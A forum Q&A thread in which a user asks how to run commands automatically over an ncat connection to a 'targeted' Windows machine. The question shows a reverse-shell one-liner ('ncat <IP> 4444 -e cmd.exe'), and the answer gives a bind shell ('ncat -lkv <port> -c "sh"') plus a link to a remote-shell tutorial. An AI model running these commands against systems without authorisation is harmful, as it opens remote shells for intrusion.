Ncat connect and immediately execute command on Windows

CyberGeeGee picture CyberGeeGee · Mar 16, 2017 · Viewed 9k times · Source

I'm trying to figure out a way to open a netcat connection from a listening Linux machine and immediately execute a command on the targeted Windows machine (ex. dir or ipconfig).

Something similar to this:

Linux machine:

nc -lvp 4444; dir

Windows machine:

ncat 192.168.1.25 4444 -e cmd.exe

I need to immediately run a command as soon as a connection is made with the Windows machine.

If this can be accomplished with a bash script, that would be great too. I tried scripting it, but it will not register any commands after dropping into the Windows command shell.

Any help or suggestions would be greatly appreciated! Thanks.

Answer

lorelou picture lorelou · Jul 25, 2018

https://jkeohan.wordpress.com/2010/04/30/using-netcat-to-spawn-a-remote-shell/

this might be of help.

It should be:

##On the server. It opens the 
##listening machine's shell.
ncat -lkv <port number> -c "sh"

##On the client. You type your commands on your terminal
##and the listening machine will be your target.
ncat -v <listening server's IP> <port number>